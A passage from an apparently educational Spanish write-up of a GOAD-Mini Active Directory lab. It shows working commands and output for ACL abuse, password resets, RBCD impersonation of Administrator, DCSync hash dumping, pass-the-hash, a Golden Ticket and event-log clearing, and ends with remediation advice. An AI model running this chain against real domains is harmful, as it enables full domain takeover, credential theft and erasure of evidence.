-dc-ip 192.168.56.10 -principal joffrey.baratheon -target tyron.lannister
-ace-type allowed -action write -rights FullControl
[*] DACL backed up to dacledit-20260803-082944.bak
[*] DACL modified successfully!
La DACL de
tyron.lannister fue modificada exitosamente, otorgando FullControl a joffrey.baratheon sobre el objeto. Un backup automático quedó guardado en dacledit-20260803-082944.bak.joffrey.baratheon tiene ahora GenericAll efectivo sobre tyron.lannister. El siguiente paso es agregar tyron.lannister al grupo Small Council usando su propio permiso de Self-Membership.Forcechangepasswd: joffrey.baratheon → tyron.lannister
Al haber obtenido GenericAll sobre
tyron.lannister mediante el abuso de WriteDACL, se procede a cambiar su contraseña para obtener credenciales válidas y poder explotar su permiso de Self-Membership sobre el grupo Small Council en el siguiente paso.bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u joffrey.baratheon -p 1killerlion \
-H kingslading.sevenkingdoms.local \
set password tyron.lannister 'Newpasswd'
[+] Password changed successfully!
Contraseña de
tyron.lannister modificada exitosamente mediante GenericAll heredado. Con credenciales válidas de tyron.lannister se procederá a explotar el permiso Self-Membership sobre el grupo Small Council, permitiéndole agregarse a sí mismo sin intervención de un administrador.Self-Membership: tyron.lannister → Small Council
Con credenciales válidas de
tyron.lannister, se explota el permiso Self-Membership que le permite agregarse a sí mismo al grupo Small Council. Este grupo posee AddMember sobre DragonStone, siendo el siguiente eslabón de la cadena.bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'NewPassword456!' \
-H kingslanding.sevenkingdoms.local \
add groupMember 'Small Council' tyron.lannister
[+] tyron.lannister added to Small Council
tyron.lannister agregado exitosamente al grupo Small Council. Al pertenecer a este grupo se hereda el permiso AddMember sobre DragonStone.AddMember: Small Council → DragonStone
Como miembro de Small Council,
tyron.lannister hereda el permiso AddMember sobre DragonStone. Se agrega al grupo para heredar el permiso WriteOwner sobre KingsGuard.bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'NewPassword456!' \
-H kingslanding.sevenkingdoms.local \
add groupMember 'DragonStone' tyron.lannister
[+] tyron.lannister added to DragonStone
tyron.lannister agregado al grupo DragonStone. Se hereda el permiso WriteOwner sobre KingsGuard.WriteOwner: DragonStone → KingsGuard
El grupo DragonStone posee WriteOwner sobre KingsGuard. Este permiso permite cambiar el propietario del objeto, y el propietario tiene WriteDACL implícito, lo que permite otorgarse GenericAll y posteriormente agregarse como miembro del grupo. El flujo es: cambiar owner → asignar FullControl → agregar miembro.
Paso 1 – Cambiar Owner de KingsGuard
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'NewPassword456!' \
-H kingslanding.sevenkingdoms.local \
set owner KingsGuard tyron.lannister
[+] Old owner S-1-5-21-192275561-2566161430-2385015979-1000
is now replaced by tyron.lannister on KingsGuard
Paso 2 – Asignar FullControl sobre KingsGuard
dacledit.py sevenkingdoms.local/tyron.lannister:'NewPassword456!' \
-dc-ip 192.168.56.10 \
-principal tyron.lannister \
-target KingsGuard \
-ace-type allowed -action write -rights FullControl
[*] DACL modified successfully!
Paso 3 – Agregarse al Grupo KingsGuard
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'NewPassword456!' \
-H kingslanding.sevenkingdoms.local \
add groupMember KingsGuard tyron.lannister
[+] tyron.lannister added to KingsGuard
Se completó la cadena DragonStone → KingsGuard.
tyron.lannister es ahora miembro de KingsGuard, que posee GenericAll sobre stannis.baratheon. Siguiente paso: abusar de ese permiso para obtener credenciales de stannis.baratheon.GenericAll: KingsGuard → stannis.baratheon
El grupo KingsGuard posee GenericAll sobre
stannis.baratheon. Se cambia su contraseña para obtener credenciales válidas. Este usuario es crítico en la cadena porque posee GenericAll sobre el equipo KINGSLANDING$ (el DC), lo que abre el camino hacia DCSync y Domain Admin. Adicionalmente pertenece a Baratheon que tiene acceso RDP al DC, permitiendo acceso interactivo.
GenericAll: stannis.baratheon → DC (KINGSLANDING$)
stannis.baratheon posee GenericAll sobre el objeto computadora KINGSLANDING$. Este permiso permite configurar Resource-Based Constrained Delegation (RBCD), lo que permite impersonar al Administrator ante el DC sin conocer su contraseña, obteniendo un ticket Kerberos válido para acceso total.Paso 1 – Crear Computadora Falsa del Atacante
addcomputer.py sevenkingdoms.local/stannis.baratheon:'NewPassword789!' \
-computer-name 'EVILPC$' \
-computer-pass 'EvilPass123!' \
-dc-ip 192.168.56.10
[*] Successfully added machine account EVILPC$ with password EvilPass123!.
Cuenta de computadora
EVILPC$ creada en el dominio. Por defecto, cualquier usuario de dominio puede crear hasta 10 cuentas de computadora (ms-DS-Machine AccountQuota).Paso 2 – Configurar RBCD en KINGSLANDING$
rbcd.py sevenkingdoms.local/stannis.baratheon:'NewPassword789!' \
-dc-ip 192.168.56.10 \
-action write \
-delegate-to 'KINGSLANDING$' \
-delegate-from 'EVILPC$'
[*] Delegation rights modified successfully!
El atributo
msDS-AllowedToActOnBehalfOfOtherIdentity de KINGSLANDING$ fue modificado para permitir que EVILPC$ delegue en su nombre. Esto habilita el ataque S4U2Proxy.Paso 3 – Solicitar Ticket como Administrator (S4U2Proxy)
getST.py sevenkingdoms.local/'EVILPC$':'EvilPass123!' \
-dc-ip 192.168.56.10 \
-spn cifs/kingslanding.sevenkingdoms.local \
-impersonate Administrator
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_kingslanding.sevenkingdoms.local
@SEVENKINGDOMS.LOCAL.ccache
Ticket TGS obtenido exitosamente impersonando a
Administrator para el servicio cifs/kingslanding.sevenkingdoms.local. El ticket fue guardado en un archivo ccache listo para usar.Paso 4 – Exportar el Ticket
export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local\
@SEVENKINGDOMS.LOCAL.ccache
Variable de entorno
KRB5CCNAME configurada. Las herramientas de impacket usarán automáticamente este ticket para autenticarse como Administrator sin necesidad de contraseña.Movimiento Lateral y Escalada de Privilegios
Acceso Remoto al DC – Ejecución de Comandos
Con el ticket de
Administrator exportado en KRB5CCNAME, se intentó obtener ejecución remota de comandos en el DC mediante distintas herramientas de impacket. Windows Defender activo en el DC bloqueó los métodos que requieren subir archivos al sistema.Intento 1 – wmiexec.py
wmiexec.py -k -no-pass \
sevenkingdoms.local/[email protected]
[*] SMBv3.0 dialect used
^C
Por qué no funcionó: la conexión SMBv3 se estableció correctamente pero la herramienta quedó bloqueada. Windows Defender detectó el proceso WMI remoto antes de ejecutar.
Intento 2 – smbexec.py
smbexec.py -k -no-pass -dc-ip 192.168.56.10 \
sevenkingdoms.local/[email protected]
[-] SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND
Por qué no funcionó: Windows Defender eliminó el ejecutable temporal que smbexec subió a ADMIN$ antes de que pudiera ser invocado.
Intento 3 – atexec.py
atexec.py -k -no-pass -dc-ip 192.168.56.10 \
sevenkingdoms.local/[email protected] whoami
[*] Creating task \oAbYNkUV
[*] Running task \oAbYNkUV
[*] Deleting task \oAbYNkUV
[-] SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND
Por qué no funcionó: la tarea programada se creó y ejecutó pero Windows Defender eliminó el archivo de salida en ADMIN$\Temp antes de que impacket pudiera leerlo.
Los tres intentos fallaron porque todos requieren subir o crear archivos temporales en el DC.
secretsdump.py no sube ningún ejecutable – usa el protocolo DRSUAPI directamente sobre LDAP, lo que evita la detección por Windows Defender.DCSync Exitoso – secretsdump.py
secretsdump.py -k -no-pass -dc-ip 192.168.56.10 \
sevenkingdoms.local/[email protected]
[*] Dumping local SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581
a1705e:::
[*] Dumping Domain Credentials via DRSUAPI
Administrator:500:...:c66d72021a2d4744409969a581a1705e:::
krbtgt:502:...:116c0df36b45aab6e25ad233562e356c:::
tywin.lannister:1111:...:af52e9ec3471788111a6308abff2e9b7:::
jaime.lannister:1112:...:0ef3298edfc59e0cd07c56d829eea9c6:::
cersei.lannister:1113:...:c247f62516b53893c7addcf8c349954b:::
[... resto de usuarios ...]
Administrator:aes256-cts-hmac-sha1-96:bdb1a615bc9d82d2ab21f09f11baaef4bc66c48
efdd56424e1206e581e4dd827
krbtgt:aes256-cts-hmac-sha1-96:856441d8798b084e5b0fe6bb28ba5f48bd8f8cf8c51aa3f02
c2f40cceda14b4b
Administrator NTLM: c66d72021a2d4744409969a581a1705e, krbtgt NTLM: 116c0df36b45aab6e25ad233562 e356c. Con el hash de krbtgt es posible forjar un Golden Ticket otorgando persistencia indefinida en el dominio.Pass-the-Hash – Acceso como Administrator via evil-winrm
Con el hash NTLM del
Administrator obtenido via DCSync, se realiza un ataque Pass-the-Hash para autenticarse en el DC via WinRM sin conocer la contraseña en texto plano.evil-winrm -i 192.168.56.10 -u Administrator \
-H c66d72021a2d4744409969a581a1705e
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\administrator\Documents> whoami
sevenkingdoms\administrator
*Evil-WinRM* PS C:\Users\administrator\Documents> hostname
kingslanding
sevenkingdoms\administrator en KINGSLANDING. El dominio SEVENKINGDOMS.LOCAL ha sido completamente comprometido.Post-Explotación y Borrado de Evidencias
Persistencia – Golden Ticket
Con el hash NTLM de
krbtgt obtenido via DCSync, es posible forjar un Golden Ticket – un TGT falso firmado con la clave maestra del dominio. Este ticket permite autenticarse como cualquier usuario inexistente con privilegios de Domain Admin, otorgando persistencia indefinida incluso si se cambian todas las contraseñas del dominio. Solo un reset del hash de krbtgt (dos veces) invalida los Golden Tickets existentes.ticketer.py -nthash 116c0df36b45aab6e25ad233562e356c \
-domain-sid S-1-5-21-192275561-2566161430-2385015979 \
-domain sevenkingdoms.local \
fakeuser
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for sevenkingdoms.local/fakeuser
[*] Signing/Encrypting final ticket
[*] Saving/Updating ticket in fakeuser.ccache
export KRB5CCNAME=fakeuser.ccache
secretsdump.py -k -no-pass -dc-ip 192.168.56.10 \
sevenkingdoms.local/[email protected]
[*] Dumping Domain Credentials via DRSUAPI
Administrator:500:...:c66d72021a2d4744409969a581a1705e:::
krbtgt:502:...:116c0df36b45aab6e25ad233562e356c:::
[...]
fakeuser exitosamente validado contra el DC. El dominio SEVENKINGDOMS.LOCAL está bajo control total con persistencia indefinida.Borrado de Evidencias
En un pentest real, toda la evidencia de la intrusión debe ser eliminada al finalizar el engagement. Se eliminan los artefactos creados durante el ataque y se limpian los logs de eventos de Windows.
# Eliminar cuenta de computadora EVILPC$ creada para RBCD
addcomputer.py sevenkingdoms.local/Administrator \
-hashes :c66d72021a2d4744409969a581a1705e \
-dc-ip 192.168.56.10 \
-computer-name 'EVILPC$' \
-delete
# Limpiar logs de eventos en el DC (desde evil-winrm)
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
# Eliminar archivos temporales en la maquina atacante
rm fakeuser.ccache kerberoast.txt kerberoast_hash.txt
rm Administrator@cifs_kingslanding.sevenkingdoms.local\
@SEVENKINGDOMS.LOCAL.ccache
En un entorno de laboratorio, el borrado de evidencias se documenta con fines educativos. En un pentest real, toda acción de limpieza debe estar explícitamente autorizada por el cliente y coordinada con el equipo de blue team.
Artefactos del ataque eliminados: cuenta
EVILPC$ removida del dominio, logs de Security/System/Application limpiados en el DC, archivos temporales de la máquina atacante eliminados.Vulnerabilidades y Recomendaciones
Resumen de Vulnerabilidades
| Vulnerabilidad | Objeto afectado | Tipo | Severidad |
|---|---|---|---|
| ACLs mal configuradas | tywin → DA | ACL Abuse | Crítica |
| Targeted Kerberoasting | joffrey.baratheon | SPN Abuse | Alta |
| RBCD Attack | KINGSLANDING$ | Delegation Abuse | Crítica |
| DCSync | Dominio completo | Privilege Abuse | Crítica |
| Contraseñas débiles | joffrey.baratheon | Weak Password | Alta |
Recomendaciones
ACLs Mal Configuradas
Auditar regularmente las ACLs del dominio con BloodHound. Ningún usuario regular debe tener permisos como ForceChangePassword, GenericWrite, WriteDACL o GenericAll sobre otros objetos del dominio sin justificación explícita y documentada. Aplicar el principio de menor privilegio en cada objeto del directorio.
Targeted Kerberoasting
Evitar registrar SPNs en cuentas de usuario. Si es necesario, usar contraseñas de mínimo 25 caracteres o implementar Group Managed Service Accounts (gMSA) que rotan su contraseña automáticamente y cuyo hash no es crackeable offline.
RBCD – Resource-Based Constrained Delegation
Reducir el valor de ms-DS-MachineAccountQuota a 0 para impedir que usuarios no privilegiados creen cuentas de computadora. Auditar regularmente el atributo msDS-AllowedToActOn BehalfOfOtherIdentity en objetos computadora críticos como los Domain Controllers.
DCSync
Restringir los permisos de Replicating Directory Changes únicamente a los Domain Controllers. Auditar regularmente qué cuentas poseen este derecho y alertar ante cualquier uso del protocolo DRSUAPI desde equipos que no sean DCs.
Contraseñas Débiles
Implementar políticas de contraseñas robustas con mínimo 15 caracteres, complejidad obligatoria y rotación periódica. La contraseña 1killerlion de joffrey.baratheon fue crackeada en menos de 2 segundos con rockyou.txt.
Reflexión Final
Qué salió bien
La fase de reconocimiento inicial fue ejecutada de forma ordenada y sistemática, identificando correctamente todos los servicios expuestos, el FQDN del dominio y los vectores potenciales antes de intentar cualquier ataque. La identificación de AD CS mediante feroxbuster fue un hallazgo relevante que no estaba en el plan inicial. La enumeración con credenciales fue eficiente una vez obtenido el punto de entrada, mapeando usuarios, grupos y ACLs correctamente mediante netexec y bloodhound-python. La cadena de abuso de ACLs se ejecutó paso a paso sin perder el hilo de la escalada, comprendiendo el propósito de cada permiso antes de explotarlo. La documentación simultánea al ataque permitió capturar cada detalle sin necesidad de reconstruir los pasos a posteriori.
Qué salió mal
Se invirtió tiempo considerable intentando enumerar el dominio y encontrar un vector de entrada sin credenciales, probando password spray, AS-REP Roasting, user-as-password y enumeración anónima por LDAP. El password spray provocó un lockout masivo de 10 de 11 cuentas del dominio – en un entorno real esto habría alertado inmediatamente al equipo de seguridad y comprometido la operación. Solo al consultar el repositorio oficial de GOAD-Mini se determinó que el lab está diseñado para comenzar con credenciales proporcionadas. También se perdió tiempo con los intentos fallidos de ejecución remota (wmiexec, smbexec, atexec) sin investigar primero el impacto de Windows Defender en el DC antes de elegir la herramienta.
Lecciones Aprendidas
Este laboratorio representó la primera exposición práctica completa a Active Directory ofensivo y superó ampliamente las expectativas iniciales en complejidad técnica. Los conceptos de enumeración AD, abuso de ACLs, Kerberoasting dirigido, RBCD y DCSync eran completamente nuevos antes de este lab.
La lección más importante fue entender que en Active Directory el vector de ataque rara vez es una vulnerabilidad clásica – es la combinación de permisos excesivos encadenados. Una cuenta con ForceChangePassword sobre otra, que tiene GenericWrite sobre una tercera, que tiene WriteDACL sobre una cuarta…cada eslabón por separado parece inofensivo. Encadenados, llevan a Domain Admin.
BloodHound cambia completamente la forma de visualizar un dominio. Lo que sería imposible de identificar manualmente en un entorno con decenas de objetos se convierte en una ruta visible en segundos. El concepto de grafo de ataque es fundamental para el trabajo ofensivo en AD.
El ataque RBCD fue la técnica más compleja y reveladora del lab. Abusar de GenericAll sobre un objeto computadora para configurar delegación, crear una cuenta falsa y solicitar un ticket como Administrator via S4U2Proxy es un vector que demuestra la profundidad del protocolo Kerberos como superficie de ataque. Finalmente, la limitación de Windows Defender sobre las herramientas de ejecución remota enseñó que la elección de la herramienta correcta depende del entorno – secretsdump.py con DRSUAPI fue la alternativa sigilosa que no requirió interacción con el sistema de archivos del DC.
Tiempo Total
| Fase | Tiempo |
|---|---|
| Reconocimiento e infraestructura | 1 Hora y 45 Minutos |
| Enumeración de AD | 6 Horas |
| Ataques (Kerberoasting, ACL Abuse, RBCD) | 5 Horas |
| Movimiento lateral y escalada | 1 Hora y 20 Minutos |
| Post-explotación y limpieza | 20 Minutos |
| Total | 14 Horas y 25 Minutos |
El laboratorio fue completado en 4 días y medio de trabajo, distribuyendo las fases entre sesiones prácticas y estudio teórico de cada técnica antes de su ejecución.